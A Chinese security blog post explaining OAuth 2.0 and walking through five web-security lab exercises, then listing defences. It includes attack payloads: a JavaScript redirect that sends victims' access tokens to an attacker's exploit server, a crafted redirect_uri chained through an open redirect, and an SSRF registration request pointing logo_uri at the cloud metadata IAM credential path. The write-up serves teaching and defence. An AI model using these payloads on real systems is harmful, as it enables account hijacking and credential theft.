您当前的位置： 首页 >  安全

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

OAuth2-0协议安全学习

合天网安实验室 发布时间：2022-08-19 17:29:04 ，浏览量：0

有一个问题困扰了很久很久，翻来覆去无法入眠，那就是OAuth2.0有什么安全问题啊

OAuth2.0是一种常用的授权框架，它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问，在全世界都有广泛运用

OAuth2.0简介

OAuth2.0是什么

OAuth2.0是授权的工业标准协议，该协议允许第三方应用程序对于服务的有限访问，例如常见的第三方登录就基于此协议

OAuth2.0应用情景

OAuth2.0常被应用于以下情景

•应用于第三方应用登录，将受保护的用户资源授权给第三方信任用户，从而避免二次登录造成泄密

•应用于多服务场景中，用于服务的统一登陆认证，对内部系统之间的资源请求进行权限管理

•应用于开发平台场景中，对系统敏感资源进行安全认证和保护

密码与OAuth2.0

•密码与令牌（token）的作用是一样的，但令牌有其特点

–用户无法自己修改

–且一般来说token是短期的

–可以被所有者撤销

–token的权限一般是有限制的，而对于密码而言，其权限一般是完整权限

•基于以上设计，OAuth2.0协议即可保证可以使得第三方应用获得权限使用，但又随时处于可控，这就是OAuth2.0的优点所在

OAuth2.0运行流程和授权模式

首先了解一下大概结构

Client: 第三方应用Resource Owner: 资源所有者Authorization Server: 授权服务器Resource Server: 拥有资源信息的服务器

以下即为运行过程

6831e6a2706263073911560fc8788bab.png

OAuth的授权模式有四种

•授权码模式|authorization code

•简化模式|implicit

•密码模式|resource owner password credentials

•客户端模式|client credentials

在请求中一般存在response_type一类的参数，根据授权模式的不同，参数内容也会不同，这就是我们判断不同授权模式的重要依据

详情可见

https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

四种授权模式，安全问题大多在authorization code模式和implicit模式发生，我们也可以对此着重了解

OAuth2.0安全问题分析

为什么出现问题

OAuth2.0的授权认证流程大部分情况下是没有问题的，但他缺少内置的安全功能，认证是否安全几乎完全取决于使用者的正确配置，例如是否对token进行数据绑定、是否对数据本身进行加密等，而且不同的授权方法有不同的1特点，而根据授权类型，即使是高度敏感的数据都会被通过浏览器发送，给了攻击者各种拦截数据的机会

怎么判断是否使用OAuth2.0认证方法

主要可以通过两点判断

•对数据进行抓包，基本所有的认证请求都是自/authorization开始，并且携带了类似于Client_id、redirect_uri等标志参数

•是否可以使用第三方应用进行登录，如若可以，基都是采取OAuth2.0认证

授权服务器认证绕过

当我们完成登录获取第三方资源时，是通过一个用户邮箱、ID进行识别，但如果第三方资源授权没有对此进行合理的认证，就有可能绕过授权服务器认证

•靶场

 Lab: Authentication bypass via OAuth implicit flow

•解法

 进行抓包，查看数据包的交互流程，在/authorization看到有邮箱、ID返回认证

 7bca9fad38e6b3bd6c4b4cf307e37eed.png

 fa378b757e7e7727bda27dd91c4b1eab.png

 可以尝试修改email和username

 2682078d09bcff6ca54566fbd2f9a6df.png

 Forward发送，发现token并没有进行内容绑定，成功login

 a303c4f3ad3d1a89aa171d38d9d056ca.png

CSRF关联账号

造成这个安全问题的主要原因是对OAuth组件的配置错误，比如state参数

这个参数可以类比于CSRF令牌token，一般是作为与会话信息相关联的一个hash值，作为客户端与服务端之间通信的token令牌，而当配置出现问题，攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF

•靶场

 Lab: Forced OAuth profile linking

•解法

 我们先正常登录

 6ffaeba016e9ef29768c7334acca3cfc.png

点击绑定social profile，对social media认证页面进行抓包，得到令牌code

 612824c710f1addb8b14662caf9125ca.png

我们可以先直接带上访问一下试试

 102f1059d24a6368ecd9a0758942cf9c.png

这是因为我们还没有实现绑定登录，我们现在要做的就是让管理员登录时带上的是我们的code，这样我们就可以成功劫持管理员账号

我们重新抓取一个包拿到code，得到code后drop掉不让他成功登录认证

然后进入exploit修改body

 4694477173a0650a563648cf31258818.png

 发送给受害者，而后重新登录social media

 成功登录admin

 87851e092a509f445a614cf10a358bb6.png

删掉carlos用户即可

CSRF获取敏感信息

我们正常登录认证后需要从认证页面重定向回到原本的页面，这里起到作用的就是redirect_uri参数，这是一个很合理的设计，但如果redirect_uri重定向回来的是其他地方，比如我们的攻击服务器，那么我们是不是可以窃取到一些敏感信息，例如我们上一道题登录admin用到的code

与上一题不同的点在于，前者是攻击者生成了token让admin绑定，这里是让admin生成token攻击者拿到去进行绑定

•靶场

 Lab: OAuth account hijacking via redirect_uri

•解法

 我们抓包可以看到很多个参数，返回的response有个重定向回到原本的登陆页面

 342ecbdb5c69b2310877fb64cd1bb717.png

 我们可以先简单测试一下，把redirect_uri参数换成我们的攻击服务器

 5c9e429e27caee94df93267e387a41d8.png

 f8604f3a128271cfd4ce8f4d6397ca30.png

 访问抓包

 82ab2dfc5109eca7a97167c6c8ee591d.png

 callback

 e1754d7aedee990e573538188186d991.png

 可以看到host变成了我们的攻击服务器，这就是问题所在

 我们进入exploit修改body

 1a7e3e232bceded6496b4379c8152f64.png

修改redirect_uri重定向回我们的exploit，store存储一下，然后view exploit预览一下

 cdea9300d8efd99aab63e4c32411b198.png

 确认可以后发送给受害者，然后查看log，可以看到就能窃取到code

 770f88962fac8a829428cddda08ed48b.png

 然后根据包的发送流程，将code进行修改callback回去

 7eebf9de75636016b172d3a0f565166f.png

https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6

成功登录admin，删除用户就行

通过开放重定向获取敏感信息

与上一道类似，但是这里加入了对重定向redirect_uri参数的检测，限制url为client app，这时候可以通过在client app中寻找open redirect漏洞，再搭配CSRF得到code实现越权

•靶场

 Lab: Stealing OAuth access tokens via an open redirect

•解法

 抓包然后查找apikey，发现在/me路径，放入repeater

 cdaf340ba6dfb8b91ed3c78a3a8e75be.png

测试redirect_uri，发现是以白名单进行验证，无法以外域作为重定向提供，同时发现存在目录遍历漏洞

 d0b9d66009b3bcc5ab560bc54d98d6db.png

 09e9b7b6f12fc7e84f17b10755591e22.png

进行寻找漏洞利用点，发现每个blog下方均有一个post点，易受目录遍历，选择进行测试

 c7313e3f4fb14a74a0d426ef61185388.png

抓包放入repeater中测试，发现可以重定向到外域，这样我们就可以利用1这个重定向到我们的攻击服务器，进行敏感数据的窃取

 635b1ba1c5faee5bd2709cc38e342ec1.png

 我们修改url重定向回exploit

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

 4db31d24806cbdf001907c4830ee0e83.png

 进行访问，成功返回hello，world

 cbd77583ee32768e36bf5a7c66f1570f.png

 这样我们就可以编写script，让admin登录从而泄露token

if (!document.location.hash) {
        window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }

 9ec80714f65cd10253415d940158f479.png

 发送给受害者后进入access log，得到access_token

 b09f8356258bf429271a8a7932683e11.png

 将access_token替换到/me路径的Authorization: Bearer标头中的token

 0f08f4699d659943b4f90a6ba472a37e.png

发送即可得到apikey，提交即可

危险传递、使用某些特定数据

当OAuth存在专用注册端点来运行客户端自行注册，而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据，就可能存在SSRF漏洞，出现密钥的泄露

•靶场

 Lab: SSRF via OpenID dynamic client registration

•解法

 首先我们需要了解的是在OAuth服务开发中，存在这样一类文件

/.well-known/openid-configuration（类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json）

 他们存储着一些相关的配置

 我们尝试访问

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration

 644cceed5edfba6396ee97e86ea555c9.png

可以发现/reg是注册点，我们可以在repeater中创建一个post请求向OAuth请求注册，而这其中必须提供至少一个redirect_uris数组

 fa66b2e4ffb840e08f25e8261a1ed77d.png

 传参后我们可以看到服务器给我们返回了client_id和一系列数据

 我们继续翻看配置参数，其中最有可能存在SSRF的url参数就是logo_uri

 我们可以进行尝试，启动Burp Collaborator client

POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json


{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}

 60ce300b0352e0e13217422e3b452cf1.png

 发现可以成功携带数据

 52bf4265b5de9f4ab40152ec72a1fed4.png

当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据

  /client/CLIENT-ID/logo

 34a9bfa339a0689a955d615f2347f067.png

那当我们修改logo_uri为其他url时，我们就可以携带出我们想要的东西了，而题目已经给出了攻击服务器的url，我们替换一下

POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json


{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

 50782302942c13ecaae2b7f44d2e7405.png

 134e2e76453084c432c1ba0aa1c47d6e.png

 得到key

防御总结

•使用白名单检验redirect_url参数

•检验state参数是否存在

•ccess token和client_id是否匹配，同时验证access token的访问范围

•修复client端的开放重定向漏洞，防止auth code的泄露

参考文章

•https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

•https://kuron3k0.github.io/2021/01/12/oauth-security/

原创稿件征集

征集原创技术文章中，欢迎投递

投稿邮箱：edu@antvsion.com

文章类型：黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情，点我查看！

c2e976b2a27d087a3f703eb9de22905a.gif

夏日活动福利发放中，戳“阅读原文“参与

关注
打赏
1665306545
查看更多评论

最近更新

热门博客

[ 申请 ]友情链接：

绘画宝宝 配音宝宝
立即登录/注册

微信扫码登录

0.0592s